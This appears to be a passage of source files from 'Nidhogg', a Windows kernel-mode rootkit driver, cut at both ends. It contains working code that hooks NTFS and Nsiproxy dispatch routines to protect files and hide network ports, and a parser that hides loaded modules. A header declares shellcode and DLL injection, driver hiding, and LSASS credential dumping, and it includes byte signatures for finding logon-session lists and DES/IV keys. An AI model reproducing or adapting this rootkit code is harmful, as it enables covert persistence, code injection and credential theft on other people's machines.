286 | * There is no return value.
287 | */
288 | void FileUtils::ClearFilesList() {
289 | AutoLock locker(this->Lock);
290 |
291 | for (ULONG i = 0; i <= this->Files.LastIndex; i++) {
292 | if (this->Files.FilesPath[i]) {
293 | ExFreePoolWithTag(this->Files.FilesPath[i], DRIVER_TAG);
294 | this->Files.FilesPath[i] = nullptr;
295 | }
296 | }
297 |
298 | this->Files.LastIndex = 0;
299 | this->Files.FilesCount = 0;
300 | }
301 |
302 | /*
303 | * Description:
304 | * QueryFiles is responsible for getting a protected file.
305 | *
306 | * Parameters:
307 | * @item [FileItem*] -- Protected file to get.
308 | *
309 | * Returns:
310 | * @status [NTSTATUS] -- Whether successfully copied or not.
311 | */
312 | NTSTATUS FileUtils::QueryFiles(FileItem* item) {
313 | NTSTATUS status = STATUS_SUCCESS;
314 | errno_t err = 0;
315 | AutoLock locker(this->Lock);
316 |
317 | if (item->FileIndex == 0) {
318 | item->FileIndex = this->Files.FilesCount;
319 |
320 | if (this->Files.FilesCount > 0) {
321 | err = wcscpy_s(item->FilePath, this->Files.FilesPath[0]);
322 |
323 | if (err != 0)
324 | status = STATUS_INVALID_USER_BUFFER;
325 | }
326 | }
327 | else if (item->FileIndex > this->Files.LastIndex) {
328 | status = STATUS_INVALID_PARAMETER;
329 | }
330 | else {
331 | if (this->Files.FilesPath[item->FileIndex] == nullptr)
332 | return STATUS_INVALID_PARAMETER;
333 |
334 | err = wcscpy_s(item->FilePath, this->Files.FilesPath[item->FileIndex]);
335 |
336 | if (err != 0)
337 | status = STATUS_INVALID_USER_BUFFER;
338 | }
339 |
340 | return status;
341 | }
342 |
--------------------------------------------------------------------------------
/Nidhogg/FileUtils.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "pch.h"
4 | #include "MemoryHelper.hpp"
5 |
6 | extern "C" {
7 | #include "WindowsTypes.hpp"
8 | #include "NidhoggCommon.h"
9 | }
10 |
11 | // Definitions.
12 | constexpr SIZE_T MAX_FILES = 256;
13 | constexpr SIZE_T SUPPORTED_HOOKED_NTFS_CALLBACKS = 1;
14 |
15 | struct ProtectedFile {
16 | WCHAR* FilePath;
17 | bool Protect;
18 | };
19 |
20 | struct FileItem {
21 | ULONG FileIndex;
22 | WCHAR FilePath[MAX_PATH];
23 | };
24 |
25 | struct FilesList {
26 | ULONG LastIndex;
27 | ULONG FilesCount;
28 | WCHAR* FilesPath[MAX_FILES];
29 | };
30 |
31 | struct NtfsCallback {
32 | PVOID Address;
33 | bool Activated;
34 | };
35 |
36 | class FileUtils {
37 | private:
38 | FilesList Files;
39 | FastMutex Lock;
40 | NtfsCallback Callbacks[SUPPORTED_HOOKED_NTFS_CALLBACKS];
41 |
42 | public:
43 | void* operator new(size_t size) {
44 | return AllocateMemory(size, false);
45 | }
46 |
47 | void operator delete(void* p) {
48 | ExFreePoolWithTag(p, DRIVER_TAG);
49 | }
50 |
51 | FileUtils();
52 | ~FileUtils();
53 |
54 | bool FindFile(WCHAR* path);
55 | bool AddFile(WCHAR* path);
56 | bool RemoveFile(WCHAR* path);
57 | void ClearFilesList();
58 | NTSTATUS QueryFiles(FileItem* item);
59 | NTSTATUS InstallNtfsHook(int irpMjFunction);
60 | NTSTATUS UninstallNtfsHook(int irpMjFunction);
61 |
62 | ULONG GetFilesCount() { return this->Files.FilesCount; }
63 | NtfsCallback GetNtfsCallback(ULONG index) { return this->Callbacks[index]; }
64 | };
65 |
66 | inline FileUtils* NidhoggFileUtils;
67 |
68 | NTSTATUS HookedNtfsIrpCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp);
69 |
--------------------------------------------------------------------------------
/Nidhogg/InitialOperation.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 |
4 | constexpr SIZE_T InitialOperationsSize = 0;
5 | constexpr UCHAR InitialOperations = {};
6 |
--------------------------------------------------------------------------------
/Nidhogg/MemoryAllocator.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "MemoryHelper.hpp"
4 |
5 | template
6 | class MemoryAllocator {
7 | private:
8 | DataType AllocatedData;
9 | SIZE_T AllocatedSize;
10 |
11 | public:
12 | MemoryAllocator(DataType Data, SIZE_T Size) {
13 | this->AllocatedData = Data;
14 | this->AllocatedSize = Size;
15 |
16 | if (Size != 0) {
17 | Data = AllocateMemory(Size);
18 |
19 | if (Data)
20 | memset(Data, 0, Size);
21 | }
22 | }
23 | MemoryAllocator(DataType* Data, SIZE_T Size) {
24 | this->AllocatedData = nullptr;
25 | this->AllocatedSize = Size;
26 |
27 | if (Size != 0) {
28 | *Data = AllocateMemory(Size);
29 |
30 | if (*Data) {
31 | memset(*Data, 0, Size);
32 | this->AllocatedData = *Data;
33 | }
34 | }
35 | }
36 | ~MemoryAllocator() {
37 | if (this->AllocatedData) {
38 | ExFreePoolWithTag(this->AllocatedData, DRIVER_TAG);
39 | this->AllocatedData = nullptr;
40 | }
41 | }
42 |
43 | NTSTATUS CopyData(DataType Data, SIZE_T Size) {
44 | SIZE_T bytesWritten = 0;
45 | NTSTATUS status = STATUS_INVALID_PARAMETER;
46 |
47 | if (!Data || !this->AllocatedData)
48 | return STATUS_INVALID_BUFFER_SIZE;
49 |
50 | if (Size > this->AllocatedSize)
51 | return status;
52 |
53 | status = MmCopyVirtualMemory(PsGetCurrentProcess(), Data, PsGetCurrentProcess(), this->AllocatedData, Size,
54 | KernelMode, &bytesWritten);
55 |
56 | if (NT_SUCCESS(status)) {
57 | status = bytesWritten == Size ? STATUS_SUCCESS : STATUS_INVALID_BUFFER_SIZE;
58 | }
59 | return status;
60 | }
61 | };
62 |
--------------------------------------------------------------------------------
/Nidhogg/MemoryHelper.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 |
4 | extern "C" {
5 | #include "WindowsTypes.hpp"
6 | }
7 | #include "NidhoggCommon.h"
8 |
9 | /*
10 | * Description:
11 | * FindPattern is responsible for finding a pattern in memory range.
12 | *
13 | * Parameters:
14 | * @pattern [PCUCHAR] -- Pattern to search for.
15 | * @wildcard [UCHAR] -- Used wildcard.
16 | * @len [ULONG_PTR] -- Pattern length.
17 | * @base [const PVOID] -- Base address for searching.
18 | * @size [ULONG_PTR] -- Address range to search in.
19 | * @foundIndex [PULONG] -- Index of the found signature.
20 | * @relativeOffset [ULONG] -- If wanted, relative offset to get from.
21 | * @reversed [bool] -- If want to reverse search or regular search.
22 | *
23 | * Returns:
24 | * @address [PVOID] -- Pattern's address if found, else 0.
25 | */
26 | inline PVOID FindPattern(PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, const PVOID base, ULONG_PTR size,
27 | PULONG foundIndex, ULONG relativeOffset, bool reversed = false) {
28 | bool found = false;
29 |
30 | if (pattern == NULL || base == NULL || len == 0 || size == 0)
31 | return NULL;
32 |
33 | if (!reversed) {
34 | for (ULONG i = 0; i < size; i++) {
35 | found = true;
36 |
37 | for (ULONG j = 0; j < len; j++) {
38 | if (pattern[j] != wildcard && pattern[j] != ((PCUCHAR)base)[i + j]) {
39 | found = false;
40 | break;
41 | }
42 | }
43 |
44 | if (found) {
45 | if (foundIndex)
46 | *foundIndex = i;
47 | return (PUCHAR)base + i + relativeOffset;
48 | }
49 | }
50 | }
51 | else {
52 | for (int i = (int)size; i >= 0; i--) {
53 | found = true;
54 |
55 | for (ULONG j = 0; j < len; j++) {
56 | if (pattern[j] != wildcard && pattern[j] != *((PCUCHAR)base - i + j)) {
57 | found = false;
58 | break;
59 | }
60 | }
61 |
62 | if (found) {
63 | if (foundIndex)
64 | *foundIndex = i;
65 | return (PUCHAR)base - i - relativeOffset;
66 | }
67 | }
68 | }
69 |
70 | return NULL;
71 | }
72 |
73 | /*
74 | * Description:
75 | * FreeVirtualMemory is responsible for freeing virtual memory and null it.
76 | *
77 | * Parameters:
78 | * @address [PVOID] -- Address to free.
79 | *
80 | * Returns:
81 | * There is no return value.
82 | */
83 | inline void FreeVirtualMemory(_In_ PVOID address) {
84 | if (!address)
85 | return;
86 | ExFreePoolWithTag(address, DRIVER_TAG);
87 | address = NULL;
88 | }
89 |
90 | /*
91 | * Description:
92 | * AllocateVirtualMemory is responsible for allocating virtual memory with the right function depends on the windows version.
93 | *
94 | * Parameters:
95 | * @size [size_t] -- Size to allocate.
96 | * @paged [bool] -- Paged or non-paged.
97 | * @forceDeprecatedAlloc [bool] -- Force allocation with ExAllocatePoolWithTag.
98 | *
99 | * Returns:
100 | * @ptr [PointerType] -- Allocated pointer on success else NULL.
101 | */
102 | template
103 | inline PointerType AllocateMemory(size_t size, bool paged = true, bool forceDeprecatedAlloc = false) {
104 | PVOID allocatedMem = NULL;
105 |
106 | if (AllocatePool2 && WindowsBuildNumber >= WIN_2004 && !forceDeprecatedAlloc) {
107 | allocatedMem = paged ? ((tExAllocatePool2)AllocatePool2)(POOL_FLAG_PAGED, size, DRIVER_TAG) :
108 | ((tExAllocatePool2)AllocatePool2)(POOL_FLAG_NON_PAGED, size, DRIVER_TAG);
109 | }
110 | else {
111 | #pragma warning( push )
112 | #pragma warning( disable : 4996)
113 | allocatedMem = paged ? ExAllocatePoolWithTag(PagedPool, size, DRIVER_TAG) :
114 | ExAllocatePoolWithTag(NonPagedPool, size, DRIVER_TAG);
115 | #pragma warning( pop )
116 | }
117 |
118 | if (allocatedMem)
119 | RtlSecureZeroMemory(allocatedMem, size);
120 | return reinterpret_cast(allocatedMem);
121 | }
122 |
123 | /*
124 | * Description:
125 | * IsIContained is responsible for check if one unicode string contain another, case insensitive.
126 | *
127 | * Parameters:
128 | * @container [UNICODE_STRING] -- Container string.
129 | * @containee [const wchar_t*] -- Containee string.
130 | *
131 | * Returns:
132 | * @status [bool] -- True if contained else false.
133 | */
134 | inline bool IsIContained(UNICODE_STRING container, const wchar_t* containee) {
135 | bool contained = false;
136 | SIZE_T containeeLen = wcslen(containee);
137 |
138 | if (container.Length < containeeLen || container.Length == 0 || containeeLen == 0)
139 | return contained;
140 |
141 | for (int i = 0; i <= container.Length - containeeLen; ++i) {
142 | if (_wcsnicmp(&container.Buffer[i], containee, containeeLen) == 0) {
143 | contained = true;
144 | break;
145 | }
146 | }
147 | return contained;
148 | }
149 |
150 | /*
151 | * Description:
152 | * CopyUnicodeString is responsible for copying unicode string.
153 | *
154 | * Parameters:
155 | * @sourceProcess [PEPROCESS] -- Source process.
156 | * @source [PUNICODE_STRING] -- Source string.
157 | * @targetProcess [PEPROCESS] -- Target process.
158 | * @target [PUNICODE_STRING] -- Target string.
159 | * @mode [MODE] -- KernelMode / UserMode.
160 | *
161 | * Returns:
162 | * @status [NTSTATUS] -- NTSUCCESS if succeeded else failure code.
163 | */
164 | inline NTSTATUS CopyUnicodeString(PEPROCESS sourceProcess, PUNICODE_STRING source, PEPROCESS targetProcess, PUNICODE_STRING target, MODE mode) {
165 | SIZE_T bytesWritten = 0;
166 | NTSTATUS status = STATUS_SUCCESS;
167 |
168 | target->Length = source->Length;
169 | target->MaximumLength = source->MaximumLength;
170 |
171 | if (!target->Buffer) {
172 | target->Buffer = AllocateMemory(static_cast(target->Length));
173 |
174 | if (!target->Buffer)
175 | return STATUS_INSUFFICIENT_RESOURCES;
176 | memset(target->Buffer, 0, target->Length);
177 | }
178 |
179 | status = MmCopyVirtualMemory(sourceProcess, source->Buffer, targetProcess,
180 | target->Buffer, target->Length, (KPROCESSOR_MODE)mode, &bytesWritten);
181 |
182 | if (!NT_SUCCESS(status))
183 | ExFreePoolWithTag(target->Buffer, DRIVER_TAG);
184 |
185 | return status;
186 | }
187 |
188 | /*
189 | * Description:
190 | * FreeUnicodeString is responsible for freeing unicode string.
191 | *
192 | * Parameters:
193 | * @source [PUNICODE_STRING] -- Source string.
194 | *
195 | * Returns:
196 | * There is no return value.
197 | */
198 | inline void FreeUnicodeString(PUNICODE_STRING source) {
199 | if (source->Buffer) {
200 | ExFreePoolWithTag(source->Buffer, DRIVER_TAG);
201 | source->Buffer = NULL;
202 | source->Length = 0;
203 | source->MaximumLength = 0;
204 | }
205 | }
206 |
207 | /*
208 | * Description:
209 | * ProbeAddress is responsible for probing an address and returning specific status code on failure.
210 | *
211 | * Parameters:
212 | * @address [PVOID] -- Address to probe.
213 | * @len [SIZE_T] -- Structure size.
214 | * @alignment [ULONG] -- Address' required alignment.
215 | * @failureCode [NTSTATUS] -- Failure code.
216 | *
217 | * Returns:
218 | * @status [NTSTATUS] -- NTSUCCESS if succeeded else failure code.
219 | */
220 | inline NTSTATUS ProbeAddress(PVOID address, SIZE_T len, ULONG alignment, NTSTATUS failureCode) {
221 | NTSTATUS status = STATUS_SUCCESS;
222 |
223 | if (!VALID_USERMODE_MEMORY((ULONGLONG)address))
224 | return STATUS_ABANDONED;
225 |
226 | __try {
227 | ProbeForRead(address, len, alignment);
228 | }
229 | __except (EXCEPTION_EXECUTE_HANDLER) {
230 | status = failureCode;
231 | }
232 |
233 | return status;
234 | }
235 |
--------------------------------------------------------------------------------
/Nidhogg/MemoryUtils.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "pch.h"
4 | #include "MemoryHelper.hpp"
5 |
6 | extern "C" {
7 | #include "WindowsTypes.hpp"
8 | #include "NidhoggCommon.h"
9 | }
10 |
11 | // Definitions.
12 | constexpr SIZE_T MAX_HIDDEN_DRIVERS = 255;
13 | constexpr SIZE_T ITEM_NOT_FOUND = MAX_HIDDEN_DRIVERS + 1;
14 | constexpr SIZE_T NO_ACCESS = 0;
15 | constexpr SIZE_T THREAD_PREVIOUSMODE_OFFSET = 0x232;
16 | constexpr SIZE_T RETURN_OPCODE = 0xC3;
17 | constexpr SIZE_T MOV_EAX_OPCODE = 0xB8;
18 | constexpr SIZE_T PATH_OFFSET = 0x190;
19 | constexpr SIZE_T ALERTABLE_THREAD_FLAG_BIT = 0x10;
20 | constexpr SIZE_T ALERTABLE_THREAD_FLAG_OFFSET = 0x74;
21 | constexpr SIZE_T GUI_THREAD_FLAG_BIT = 0x80;
22 | constexpr SIZE_T GUI_THREAD_FLAG_OFFSET = 0x78;
23 | constexpr SIZE_T THREAD_KERNEL_STACK_OFFSET = 0x58;
24 | constexpr SIZE_T THREAD_CONTEXT_STACK_POINTER_OFFSET = 0x2C8;
25 | constexpr UCHAR LogonSessionListLocation[] = {0xC1, 0xE1, 0x03, 0xE8, 0xCC, 0xCC, 0xCC , 0xFF};
26 | constexpr UCHAR IvDesKeyLocation[] = { 0x21, 0x45, 0xD4, 0x48, 0x8D, 0x0D, 0xCC, 0xCC, 0xCC, 0x00, 0x21, 0x45, 0xD8 };
27 | constexpr UCHAR FunctionStartSignature[] = { 0x40, 0x55 };
28 | constexpr UCHAR LogonSessionListCountSignature[] = { 0x48, 0x89, 0x45, 0xCC, 0x44, 0x8B, 0x05 };
29 | constexpr UCHAR LogonSessionListLockSignature[] = { 0xCC, 0x8D, 0x35 };
30 | constexpr UCHAR LogonSessionListSignature[] = { 0x48, 0x8D, 0x0D, 0xCC, 0xCC, 0xCC, 0x00, 0x8B };
31 | constexpr UCHAR IvSignature[] = { 0x44, 0x8B, 0xC6, 0x48, 0x8D, 0x15 };
32 | constexpr UCHAR DesKeySignature[] = { 0x44, 0x8B, 0x4D, 0xD4, 0x48, 0x8D, 0x15 };
33 | constexpr SIZE_T LogonSessionListCountOffset = 0xB;
34 | constexpr SIZE_T LogonSessionListLockOffset = 3;
35 | constexpr SIZE_T LogonSessionListOffset = 3;
36 | constexpr SIZE_T IvOffset = 6;
37 | constexpr SIZE_T DesKeyOffset = 7;
38 | constexpr SIZE_T DesKeyStructOffset = 0xB;
39 | constexpr SIZE_T LsaInitializeProtectedMemoryLen = 0x310;
40 | constexpr SIZE_T WLsaEnumerateLogonSessionLen = 0x2ad;
41 | constexpr SIZE_T LogonSessionListLocationDistance = 0x4e730;
42 | constexpr SIZE_T IvDesKeyLocationDistance = 0x43050;
43 |
44 | enum InjectionType {
45 | APCInjection,
46 | NtCreateThreadExInjection
47 | };
48 |
49 | struct DllInformation {
50 | InjectionType Type;
51 | ULONG Pid;
52 | CHAR DllPath[MAX_PATH];
53 | };
54 |
55 | struct ShellcodeInformation {
56 | InjectionType Type;
57 | ULONG Pid;
58 | ULONG ShellcodeSize;
59 | PVOID Shellcode;
60 | PVOID Parameter1;
61 | ULONG Parameter1Size;
62 | PVOID Parameter2;
63 | ULONG Parameter2Size;
64 | PVOID Parameter3;
65 | ULONG Parameter3Size;
66 | };
67 |
68 | struct PatchedModule {
69 | ULONG Pid;
70 | PVOID Patch;
71 | ULONG PatchLength;
72 | CHAR* FunctionName;
73 | WCHAR* ModuleName;
74 | };
75 |
76 | struct HiddenModuleInformation {
77 | ULONG Pid;
78 | WCHAR* ModuleName;
79 | };
80 |
81 | struct HiddenDriverInformation {
82 | WCHAR* DriverName;
83 | bool Hide;
84 | };
85 |
86 | struct HiddenDriverItem {
87 | WCHAR* DriverName;
88 | PKLDR_DATA_TABLE_ENTRY originalEntry;
89 | };
90 |
91 | struct HiddenDriversList {
92 | FastMutex Lock;
93 | ULONG Count;
94 | ULONG LastIndex;
95 | HiddenDriverItem Items[MAX_HIDDEN_DRIVERS];
96 | };
97 |
98 | struct PkgReadWriteData {
99 | MODE Mode;
100 | ULONG Pid;
101 | SIZE_T Size;
102 | PVOID LocalAddress;
103 | PVOID RemoteAddress;
104 | };
105 |
106 | struct DesKeyInformation {
107 | ULONG Size;
108 | PVOID Data;
109 | };
110 |
111 | struct Credentials {
112 | UNICODE_STRING Username;
113 | UNICODE_STRING Domain;
114 | UNICODE_STRING EncryptedHash;
115 | };
116 |
117 | struct OutputCredentials {
118 | ULONG Index;
119 | Credentials Creds;
120 | };
121 |
122 | struct LsassInformation {
123 | FastMutex Lock;
124 | DesKeyInformation DesKey;
125 | ULONG Count;
126 | ULONG LastCredsIndex;
127 | Credentials* Creds;
128 | };
129 |
130 | // General functions.
131 | VOID ApcInjectionCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2);
132 | VOID PrepareApcCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2);
133 |
134 |
135 | class MemoryUtils {
136 | private:
137 | HiddenDriversList hiddenDrivers;
138 | PSYSTEM_SERVICE_DESCRIPTOR_TABLE ssdt;
139 | tNtCreateThreadEx NtCreateThreadEx;
140 | LsassInformation lastLsassInfo;
141 |
142 | bool AddHiddenDriver(HiddenDriverItem item);
143 | ULONG FindHiddenDriver(HiddenDriverItem item);
144 | bool RemoveHiddenDriver(HiddenDriverItem item);
145 | bool RemoveHiddenDriver(ULONG index);
146 | NTSTATUS VadHideObject(PEPROCESS Process, ULONG_PTR TargetAddress);
147 | TABLE_SEARCH_RESULT VadFindNodeOrParent(PRTL_AVL_TABLE Table, ULONG_PTR TargetPageAddress, PRTL_BALANCED_NODE* OutNode, EX_PUSH_LOCK* PageTableCommitmentLock);
148 | PVOID GetModuleBase(PEPROCESS Process, const wchar_t* moduleName);
149 | PVOID GetFunctionAddress(PVOID moduleBase, const char* functionName);
150 | NTSTATUS FindAlertableThread(HANDLE pid, PETHREAD* Thread);
151 | NTSTATUS GetSSDTAddress();
152 | PVOID GetSSDTFunctionAddress(const char* functionName);
153 | void SetCredLastIndex();
154 |
155 | public:
156 | void* operator new(size_t size) {
157 | return AllocateMemory(size, false);
158 | }
159 |
160 | void operator delete(void* p) {
161 | if (p)
162 | ExFreePoolWithTag(p, DRIVER_TAG);
163 | }
164 |
165 | MemoryUtils();
166 | ~MemoryUtils();
167 |
168 | PVOID GetFuncAddress(const char* functionName, const wchar_t* moduleName, ULONG pid = 0);
169 | NTSTATUS KeWriteProcessMemory(PVOID sourceDataAddress, PEPROCESS TargetProcess, PVOID targetAddress, SIZE_T dataSize, MODE mode, bool alignAddr = true);
170 | NTSTATUS KeReadProcessMemory(PEPROCESS Process, PVOID sourceAddress, PVOID targetAddress, SIZE_T dataSize, MODE mode);
171 | NTSTATUS PatchModule(PatchedModule* ModuleInformation);
172 | NTSTATUS InjectShellcodeAPC(ShellcodeInformation* ShellcodeInformation, bool isInjectedDll = false);
173 | NTSTATUS InjectShellcodeThread(ShellcodeInformation* ShellcodeInfo);
174 | NTSTATUS InjectDllThread(DllInformation* DllInfo);
175 | NTSTATUS InjectDllAPC(DllInformation* DllInfo);
176 | NTSTATUS HideModule(HiddenModuleInformation* ModuleInformation);
177 | NTSTATUS HideDriver(HiddenDriverInformation* DriverInformation);
178 | NTSTATUS UnhideDriver(HiddenDriverInformation* DriverInformation);
179 | NTSTATUS DumpCredentials(ULONG* AllocationSize);
180 | NTSTATUS GetDesKey(DesKeyInformation* DesKey);
181 | NTSTATUS GetCredentials(OutputCredentials* Credential);
182 |
183 | bool FoundNtCreateThreadEx() { return NtCreateThreadEx != NULL; }
184 | ULONG GetHiddenDrivers() { return this->hiddenDrivers.Count; }
185 | };
186 |
187 | inline MemoryUtils* NidhoggMemoryUtils;
188 |
--------------------------------------------------------------------------------
/Nidhogg/ModuleParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "ModuleParser.h"
3 | #include "MemoryUtils.hpp"
4 | #include "ProcessUtils.hpp"
5 |
6 | ModuleParser::ModuleParser() {
7 | this->optionsSize = 1;
8 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
9 |
10 | if (!this->options)
11 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
12 |
13 | this->options[0] = { Options::Hide, { 2, { ArgType::ULong, ArgType::WCharPtr } } };
14 | }
15 |
16 | /*
17 | * Description:
18 | * Execute is responsible for executing a command and returning its value.
19 | *
20 | * Parameters:
21 | * @commandId [Options] -- Command to run.
22 | * @args [PVOID*] -- Array of args to send to the command.
23 | *
24 | * Returns:
25 | * @status [NTSTATUS] -- Result of the command.
26 | */
27 | NTSTATUS ModuleParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
28 | HiddenModuleInformation hiddenModule{};
29 | UNICODE_STRING wModuleName = { 0 };
30 | ANSI_STRING aModuleName = { 0 };
31 | NTSTATUS status = STATUS_SUCCESS;
32 |
33 | if (!Features.ModuleHiding)
34 | return STATUS_UNSUCCESSFUL;
35 |
36 | hiddenModule.Pid = *(ULONG*)args[0];
37 |
38 | if (!IsValidPid(hiddenModule.Pid))
39 | return STATUS_INVALID_PARAMETER;
40 |
41 | // Converting string to unicode.
42 | RtlInitAnsiString(&aModuleName, (PCHAR)args[1]);
43 | status = RtlAnsiStringToUnicodeString(&wModuleName, &aModuleName, TRUE);
44 |
45 | if (!NT_SUCCESS(status))
46 | return status;
47 |
48 | hiddenModule.ModuleName = wModuleName.Buffer;
49 |
50 | switch (commandId) {
51 | case Options::Hide:
52 | {
53 | status = NidhoggMemoryUtils->HideModule(&hiddenModule);
54 | break;
55 | }
56 | default:
57 | {
58 | status = STATUS_NOT_IMPLEMENTED;
59 | break;
60 | }
61 | }
62 |
63 | if (hiddenModule.ModuleName)
64 | RtlFreeUnicodeString(&wModuleName);
65 |
66 | return status;
67 | }
68 |
--------------------------------------------------------------------------------
/Nidhogg/ModuleParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class ModuleParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | ModuleParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/NetworkParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "NetworkParser.h"
3 | #include "NetworkUtils.hpp"
4 |
5 | NetworkParser::NetworkParser() {
6 | this->optionsSize = 3;
7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata));
8 |
9 | if (!this->options)
10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES);
11 |
12 | ArgType defaultTypes[3] = { ArgType::ULong, ArgType::ULong, ArgType::ULong };
13 |
14 | this->options[0] = { Options::Clear, {} };
15 | this->options[1] = { Options::Hide, { 3, { ArgType::ULong, ArgType::ULong,
16 | ArgType::ULong } } };
17 | this->options[2] = { Options::Unhide, { 3, { ArgType::ULong, ArgType::ULong,
18 | ArgType::ULong } } };
19 | }
20 |
21 | /*
22 | * Description:
23 | * Execute is responsible for executing a command and returning its value.
24 | *
25 | * Parameters:
26 | * @commandId [Options] -- Command to run.
27 | * @args [PVOID*] -- Array of args to send to the command.
28 | *
29 | * Returns:
30 | * @status [NTSTATUS] -- Result of the command.
31 | */
32 | NTSTATUS NetworkParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
33 | NTSTATUS status = STATUS_SUCCESS;
34 | HiddenPort hiddenPort{};
35 |
36 | if (commandId != Options::Clear) {
37 | hiddenPort.Port = *(USHORT*)args[0];
38 | hiddenPort.Type = *(PortType*)args[2];
39 |
40 | if (hiddenPort.Port == 0 || (hiddenPort.Type != PortType::TCP && hiddenPort.Type != PortType::UDP) ||
41 | *(ULONG*)args[1] > 1)
42 | return STATUS_INVALID_PARAMETER;
43 |
44 | hiddenPort.Remote = *(bool*)args[1];
45 | }
46 |
47 | switch (commandId) {
48 | case Options::Add:
49 | {
50 | if (NidhoggNetworkUtils->GetPortsCount() == MAX_PORTS) {
51 | status = STATUS_TOO_MANY_CONTEXT_IDS;
52 | break;
53 | }
54 |
55 | if (!NidhoggNetworkUtils->FindHiddenPort(hiddenPort)) {
56 | if (!NidhoggNetworkUtils->AddHiddenPort(hiddenPort)) {
57 | status = STATUS_UNSUCCESSFUL;
58 | break;
59 | }
60 | }
61 | break;
62 | }
63 | case Options::Remove:
64 | {
65 | if (NidhoggNetworkUtils->GetPortsCount() == 0) {
66 | status = STATUS_NOT_FOUND;
67 | break;
68 | }
69 |
70 | if (!NidhoggNetworkUtils->RemoveHiddenPort(hiddenPort)) {
71 | status = STATUS_NOT_FOUND;
72 | break;
73 | }
74 |
75 | break;
76 | }
77 | case Options::Clear:
78 | {
79 | NidhoggNetworkUtils->ClearHiddenPortsList();
80 | break;
81 | }
82 | default:
83 | {
84 | status = STATUS_NOT_IMPLEMENTED;
85 | break;
86 | }
87 | }
88 |
89 | return status;
90 | }
91 |
--------------------------------------------------------------------------------
/Nidhogg/NetworkParser.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 | #include "BaseParser.h"
4 |
5 | class NetworkParser : public BaseParser
6 | {
7 | protected:
8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override;
9 |
10 | public:
11 | NetworkParser();
12 | };
13 |
14 |
--------------------------------------------------------------------------------
/Nidhogg/NetworkUtils.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "NetworkUtils.hpp"
3 |
4 | NetworkUtils::NetworkUtils() {
5 | this->CallbackActivated = false;
6 | OriginalNsiDispatchAddress = NULL;
7 | this->HiddenPortsList.LastIndex = 0;
8 | this->HiddenPortsList.PortsCount = 0;
9 | memset(&this->HiddenPortsList.Ports, 0, MAX_PORTS * sizeof(HiddenPort));
10 | this->HiddenPortsList.Lock.Init();
11 | }
12 |
13 | NetworkUtils::~NetworkUtils() {
14 | if (this->CallbackActivated) {
15 | this->CallbackActivated = false;
16 | UninstallNsiHook();
17 | this->OriginalNsiDispatchAddress = NULL;
18 | }
19 | ClearHiddenPortsList();
20 | }
21 |
22 | /*
23 | * Description:
24 | * InstallNsiHook is responsible to hook Nsi's device io control handler.
25 | *
26 | * Parameters:
27 | * There are no parameters.
28 | *
29 | * Returns:
30 | * @status [NTSTATUS] -- Whether installed or not.
31 | */
32 | NTSTATUS NetworkUtils::InstallNsiHook() {
33 | UNICODE_STRING driverName;
34 | PDRIVER_OBJECT driverObject = nullptr;
35 | NTSTATUS status = STATUS_SUCCESS;
36 |
37 | RtlInitUnicodeString(&driverName, L"\\Driver\\Nsiproxy");
38 | status = ObReferenceObjectByName(&driverName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&driverObject);
39 |
40 | if (!NT_SUCCESS(status))
41 | return status;
42 |
43 | this->OriginalNsiDispatchAddress = (PVOID)InterlockedExchange64((LONG64*)&driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG64)HookedNsiDispatch);
44 | this->CallbackActivated = true;
45 |
46 | ObDereferenceObject(driverObject);
47 | return status;
48 | }
49 |
50 | /*
51 | * Description:
52 | * UninstallNsiHook is responsible to unhook Nsi's device io control handler.
53 | *
54 | * Parameters:
55 | * There are no parameters.
56 | *
57 | * Returns:
58 | * @status [NTSTATUS] -- Whether unhooked or not.
59 | */
60 | NTSTATUS NetworkUtils::UninstallNsiHook() {
61 | UNICODE_STRING driverName;
62 | PDRIVER_OBJECT driverObject = nullptr;
63 | NTSTATUS status = STATUS_SUCCESS;
64 |
65 | RtlInitUnicodeString(&driverName, L"\\Driver\\Nsiproxy");
66 | status = ObReferenceObjectByName(&driverName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&driverObject);
67 |
68 | if (!NT_SUCCESS(status))
69 | return status;
70 |
71 | InterlockedExchange64((LONG64*)&driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG64)this->OriginalNsiDispatchAddress);
72 | this->OriginalNsiDispatchAddress = nullptr;
73 | this->CallbackActivated = false;
74 |
75 | ObDereferenceObject(driverObject);
76 | return status;
77 | }
78 |
79 | /*
80 | * Description:
81 | * NsiIrpComplete is responsible to handle IRP completion for the hooked Nsi dispatch function.
82 | *
83 | * Parameters:
